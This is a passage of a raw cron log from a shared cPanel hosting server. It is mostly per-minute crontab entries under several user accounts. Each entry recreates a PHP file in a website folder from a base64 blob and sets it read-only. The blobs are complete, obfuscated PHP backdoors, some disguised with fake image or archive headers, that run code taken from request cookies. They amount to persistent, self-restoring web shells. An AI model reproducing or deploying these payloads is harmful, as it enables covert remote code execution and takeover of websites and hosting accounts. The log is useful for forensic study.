zAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:35:02 medusa CROND[3511]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:35:02 medusa CROND[3499]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 21:36:01 medusa CROND[24451]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:36:01 medusa CROND[24452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:36:01 medusa CROND[24453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:36:01 medusa CROND[24454]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:36:01 medusa CROND[24455]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:36:01 medusa CROND[24457]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:36:01 medusa CROND[24460]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:36:01 medusa CROND[24464]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:36:01 medusa CROND[24465]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:36:01 medusa CROND[24466]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:36:01 medusa CROND[24475]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:36:01 medusa CROND[24476]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:36:01 medusa CROND[24484]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:36:01 medusa CROND[24480]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:37:02 medusa CROND[10990]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:37:02 medusa CROND[10991]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:37:02 medusa CROND[10993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:37:02 medusa CROND[10994]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:37:02 medusa CROND[10996]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  1 21:37:02 medusa CROND[10997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:37:02 medusa CROND[11000]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:37:02 medusa CROND[11003]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:37:02 medusa CROND[11004]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:37:02 medusa CROND[11006]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:37:02 medusa CROND[11007]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:37:02 medusa CROND[11008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:37:02 medusa CROND[11020]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:37:02 medusa CROND[11032]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:38:01 medusa CROND[31001]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:38:01 medusa CROND[31002]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:38:01 medusa CROND[31003]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:38:01 medusa CROND[31004]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:38:01 medusa CROND[31005]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
